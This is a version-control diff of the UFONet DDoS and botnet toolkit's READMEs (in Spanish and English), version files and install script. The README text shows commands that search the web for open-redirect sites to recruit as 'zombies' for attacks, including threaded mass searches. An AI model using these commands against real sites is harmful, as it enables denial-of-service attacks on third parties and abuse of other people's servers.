 Generalmente los parámetros de las peticiones, suelen ser similares a los siguientes:
 
 
-        'proxy.php?url='
+        'page.php?url='
         'check.cgi?url='
         'check.cgi?url='
         'checklink?uri='
         'checklink?uri='
         'validator?uri='
         'validator?uri='
 
 
 Por ejemplo, puedes comenzar una búsqueda con:
 Por ejemplo, puedes comenzar una búsqueda con:
 
 
-       ./ufonet -s 'proxy.php?url='
+       ./ufonet -s 'page.php?url='
 
 
 O utilizando una lista de "dorks" que tengas en un fichero:
 O utilizando una lista de "dorks" que tengas en un fichero:
 
 
@@ -115,17 +85,11 @@ O utilizando una lista de "dorks" que tengas en un fichero:
 
 
 Por defecto, UFONet utiliza un motor de búsqueda que se llama 'DuckDuckGo'. Pero puedes elegir uno diferente:
 Por defecto, UFONet utiliza un motor de búsqueda que se llama 'DuckDuckGo'. Pero puedes elegir uno diferente:
 
 
-       ./ufonet -s 'proxy.php?url=' --se 'bing'
-
-Ésta es la lista de motores de búsqueda que funcionan con la fecha de la última vez que se han probado:
-
-        - duckduckgo  [02/2022: OK!]
-        - bing        [02/2022: OK!]
-        - yahoo       [02/2022: OK!]
+       ./ufonet -s 'page.php?url=' --se 'bing'
 
 
 También puedes buscar masívamente utilizando todos los motores de búsqueda soportados:
 También puedes buscar masívamente utilizando todos los motores de búsqueda soportados:
 
 
-       ./ufonet -s 'proxy.php?url=' --sa 
+       ./ufonet -s 'page.php?url=' --sa 
 
 
 Para controlar cuantos 'zombies' recibir como resultado puedes utilizar:
 Para controlar cuantos 'zombies' recibir como resultado puedes utilizar:
 
 
@@ -151,7 +115,7 @@ Si respondes 'Y', tus nuevos 'zombies' se sumarán al fichero: zombies.txt
   -------------
   -------------
   Ejemplos:
   Ejemplos:
 
 
-     + con detalle:       ./ufonet -s 'proxy.php?url=' -v
+     + con detalle:       ./ufonet -s 'page.php?url=' -v
      + con hilos:         ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100
      + con hilos:         ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100
 
 
 ###############################
 ###############################
@@ -441,6 +405,10 @@ más algunas "extra":
 # Timelog
 # Timelog
 ###############################
 ###############################
 
 
+--------------------------
+25.08.2024 : v.1.9
+--------------------------
+
 --------------------------
 --------------------------
 02.03.2022 : v.1.8
 02.03.2022 : v.1.8
 --------------------------
 --------------------------

+ 21 - 53
docs/README.txt

@@ -48,48 +48,18 @@ UFONet - Is a set of hacktivist tools that allow launching coordinated
 # Installing
 # Installing
 ###############################
 ###############################
 
 
-UFONet runs on many platforms. It requires Python (>=3) and the following libraries:
-
-     python3-pycurl - Python bindings to libcurl (Python 3)
-     python3-geoip - Python3 bindings for the GeoIP IP-to-country resolver library
-     libgeoip-dev - Development files for the GeoIP library
-     libgeoip1 - non-DNS IP-to-country resolver library
-     python3-whois - Python module for retrieving WHOIS information - Python 3
-     python3-crypto - cryptographic algorithms and protocols for Python 3
-     python3-requests - elegant and simple HTTP library for Python3, built for human beings
-     python3-scapy - Packet crafting/sniffing/manipulation/visualization security tool
-
-You can automatically get all required libraries using (as root):
-
-     python3 setup.py install
-
-For manual installation on Debian-based systems (ex: Ubuntu), run: 
-
-     sudo apt-get install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy libgeoip1 libgeoip-dev
-
-On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
- 
-     pip3 install GeoIP
-     pip3 install python-geoip
-     pip3 install pygeoip
-     pip3 install requests
-     pip3 install pycrypto
-     pip3 install pycurl
-     pip3 install whois
-     pip3 install scapy-python3
-
-Source libs:
-
-     * Python: https://www.python.org/downloads/
-     * PyCurl: http://pycurl.sourceforge.net/
-     * GeoIP: https://pypi.python.org/pypi/GeoIP/
-     * Python-geoip: https://pypi.org/project/python-geoip/
-     * Pygeoip: https://pypi.org/project/pygeoip/
-     * Whois: https://pypi.python.org/pypi/whois
-     * PyCrypto: https://pypi.python.org/pypi/pycrypto
-     * PyRequests: https://pypi.python.org/pypi/requests
-     * Scapy-Python3: https://pypi.org/project/scapy-python3/
-     * Leaflet: http://leafletjs.com/ (provided)
+UFONet runs on many platforms:
+
+You can try to automatically get all required libraries using (as root):
+
+     python3 setup.py
+
+For manual installation, run:
+
+     sudo apt-get install -y --no-install-recommends libpython3.11-dev python3-pycurl python3-geoip python3-whois python3-cryptography python3-requests libgeoip1 libgeoip-dev
+     python3 -m pip install --upgrade pip --no-warn-script-location --root-user-action=ignore
+     python3 -m pip install pycurl --upgrade --root-user-action=ignore
+     python3 -m pip install GeoIP python-geoip pygeoip requests whois scapy pycryptodomex duckduckgo-search --ignore-installed --root-user-action=ignore
 
 
 ###############################
 ###############################
 # Searching for 'zombies'
 # Searching for 'zombies'
@@ -99,14 +69,14 @@ UFONet can dig on different search engines results to find possible 'Open Redire
 
 
 A common query string should be like this:
 A common query string should be like this:
 
 
-        'proxy.php?url='
+        'page.php?url='
         'check.cgi?url='
         'check.cgi?url='
         'checklink?uri='
         'checklink?uri='
         'validator?uri='
         'validator?uri='
 
 
 For example, you can begin a search with:
 For example, you can begin a search with:
 
 
-       ./ufonet -s 'proxy.php?url='
+       ./ufonet -s 'page.php?url='
 
 
 Or providing a list of "dorks" from a file:
 Or providing a list of "dorks" from a file:
 
 
@@ -114,17 +84,11 @@ Or providing a list of "dorks" from a file:
 
 
 By default UFONet will use a search engine called 'DuckDuckGo'. But you can choose a different one:
 By default UFONet will use a search engine called 'DuckDuckGo'. But you can choose a different one:
 
 
-       ./ufonet -s 'proxy.php?url=' --se 'bing'
-
-This is the list of available search engines with last time that they were working:
-
-        - duckduckgo  [02/2022: OK!]
-        - bing        [02/2022: OK!]
-        - yahoo       [02/2022: OK!]
+       ./ufonet -s 'page.php?url=' --se 'bing'
 
 
 You can also search massively using all search engines supported:
 You can also search massively using all search engines supported:
 
 
-       ./ufonet -s 'proxy.php?url=' --sa 
+       ./ufonet -s 'page.php?url=' --sa 
 
 
 To control how many 'zombies' recieved from the search engines reports you can use:
 To control how many 'zombies' recieved from the search engines reports you can use:
 
 
@@ -148,7 +112,7 @@ If your answer is 'Y', your new 'zombies' will be appended to the file named: zo
   -------------
   -------------
   Examples:
   Examples:
 
 
-     + with verbose:       ./ufonet -s 'proxy.php?url=' -v
+     + with verbose:       ./ufonet -s 'page.php?url=' -v
      + with threads:       ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100
      + with threads:       ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100
 
 
 ###############################
 ###############################
@@ -435,6 +399,10 @@ This will open a tab on your default browser with all features of the tool and s
 # Timelog
 # Timelog
 ###############################
 ###############################
 
 
+--------------------------
+25.08.2024 : v.1.9
+--------------------------
+
 --------------------------
 --------------------------
 02.03.2022 : v.1.8
 02.03.2022 : v.1.8
 --------------------------
 --------------------------

文件差異過大導致無法顯示
+ 15 - 0
docs/SHOP


+ 1 - 0
docs/VERSION

@@ -19,3 +19,4 @@ Date	    Size     Version    Alias
 2020-08-17   27.4Mb   1.6       M4RAuD3R!           
 2020-08-17   27.4Mb   1.6       M4RAuD3R!           
 2021-07-14   27.0Mb   1.7       /KRäK!eN/           
 2021-07-14   27.0Mb   1.7       /KRäK!eN/           
 2022-03-02   25.8Mb   1.8	DarK-PhAnT0m!       
 2022-03-02   25.8Mb   1.8	DarK-PhAnT0m!       
+2024-08-25   24.2Mb   1.9	F4ll0uT!            

+ 1 - 1
docs/release.date

@@ -1 +1 @@
-Wen Mar  2 22:22:22 2022
+Sun Aug 25 11:11:11 2024

+ 47 - 45
setup.py

@@ -3,57 +3,59 @@
 """
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 This file is part of the UFONet project, https://ufonet.03c8.net
 
 
-Copyright (c) 2013/2022 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
 
 
 You should have received a copy of the GNU General Public License along
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 """
-import sys
+import sys, time
 
 
 if sys.version_info[0] != 3:
 if sys.version_info[0] != 3:
     sys.exit("Sorry, UFONet requires Python >= 3")
     sys.exit("Sorry, UFONet requires Python >= 3")
+
+libs = ("GeoIP", "python-geoip", "pygeoip", "requests", "whois", "scapy", "pycryptodomex", "duckduckgo-search")
     
     
-from setuptools import setup, find_packages
-
-setup(
-    name='ufonet',
-    version='1.8',
-    license='GPLv3',
-    author_email='epsylon@riseup.net',
-    author='psy',
-    description='Denial of Service Toolkit',
-    url='https://ufonet.03c8.net/',
-    long_description=open('docs/README.txt').read(),
-    packages=find_packages(),
-    install_requires=['GeoIP >= 1.3.2', 'python-geoip >= 1.2', 'pygeoip >= 0.3.2', 'requests >= 2.21.0', 'pycrypto >= 2.6.1', 'pycurl >= 7.43.0', 'whois >= 0.7', 'scapy-python3 >= 0.20'],
-    include_package_data=True,
-    package_data={
-        'core': ['js/*.css', 'js/*.js', 'js/leaflet/*.css', 'js/leaflet/*.js', 'js/cluster/*', 'txt/*.txt', 'images/crew/*', 'images/aliens/*', 'images/*.txt'],
-        'data': ['*.dat', '*.txt'],
-    },
-    entry_points={
-        'console_scripts': [
-            'ufonet=UFONet:core.main',
-        ],
-        'gui_scripts': [
-            'ufonet=UFONet:core.main',
-        ],
-    },
-    keywords='Toolkit WebAbuse DoS DDoS Botnet Darknet UFONet',
-    classifiers=[
-        'Development Status :: 5 - Production/Stable',
-        "Environment :: Web Environment",
-        "Environment :: Console", 
-        "Intended Audience :: System Administrators",
-        "Intended Audience :: Science/Research",
-        "License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
-        "Operating System :: OS Independent",
-        "Programming Language :: Python",
-        'Programming Language :: Python :: 3',
-        "Topic :: Internet", 
-        "Topic :: Security", 
-        "Topic :: System :: Networking",
-      ],
-      zip_safe=False
-)
+import subprocess, os
+
+def speech():
+    print("[MASTER] Connecting UFONET [AI] system, remotely...\n")
+    time.sleep(5)
+    print("\n[AI] Hello Master!... ;-)\n")
+    print("\n[AI] Launching self-deployment protocols...\n")
+    time.sleep(2)
+    print(r"      _______")
+    print(r"    |.-----.|")
+    print(r"    ||x . x||")
+    print(r"    ||_.-._||")
+    print(r"    `--)-(--`")
+    print(r"   __[=== o]___")
+    print(r"  |:::::::::::|")
+
+def checkeuid():
+    try:
+        euid = os.geteuid()
+    except:
+        sys.exit(2) # return
+    return euid
+
+
+def install(package):
+    subprocess.run(["python3", "-m", "pip", "install", "--upgrade", "pip", "--no-warn-script-location", "--root-user-action=ignore"])
+    subprocess.run(["python3", "-m", "pip", "install", "pycurl", "--upgrade", "--no-warn-script-location", "--root-user-action=ignore"])
+    for lib in libs:
+        subprocess.run(["python3", "-m", "pip", "install", lib, "--no-warn-script-location", "--ignore-installed", "--root-user-action=ignore"])
+
+if __name__ == '__main__':
+    euid = checkeuid()
+    if euid != 0:
+        try:
+            args = ['sudo', sys.executable] + sys.argv + [os.environ]
+            os.execlpe('sudo', *args)
+        except: 
+            sys.exit()
+        sys.exit()
+    speech()
+    os.system("sudo apt-get install -y --no-install-recommends libpython3.11-dev python3-pycurl python3-geoip python3-whois python3-requests libgeoip1 libgeoip-dev")
+    install(libs)
+    print("\n[UFONET] Setup has been completed!. You can now try to run: ./ufonet\n")